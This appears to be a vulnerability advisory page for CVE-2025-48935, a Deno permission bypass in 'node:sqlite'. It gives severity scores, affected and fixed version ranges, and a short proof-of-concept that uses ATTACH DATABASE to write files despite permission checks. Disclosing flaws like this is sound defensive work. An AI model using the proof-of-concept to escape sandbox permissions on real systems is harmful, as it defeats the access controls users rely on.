CVE-2025-48935
--allow-read / --allow-write permission bypass in `node:sqlite`
9.1
CRITICAL
CVSS 3.1
EPSS 0.35%
Description
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```
How to fix CVE-2025-48935
To remediate CVE-2025-48935, upgrade the affected package to a fixed version below.
- —upgrade to 2.2.5 or later
- —upgrade to 2.2.5 or later
- —upgrade to 0.134.0 or later
Is CVE-2025-48935 being exploited?
Low — EPSS is 0.3%, meaning exploitation activity has not been observed at scale.
Affected packages (3)
- >= 2.2.0, < 2.2.5
- >= 2.2.0, < 2.2.5
- >= 0.129.0, < 0.134.0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P |
| osv | CVSS 3.1 | CRITICAL9.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |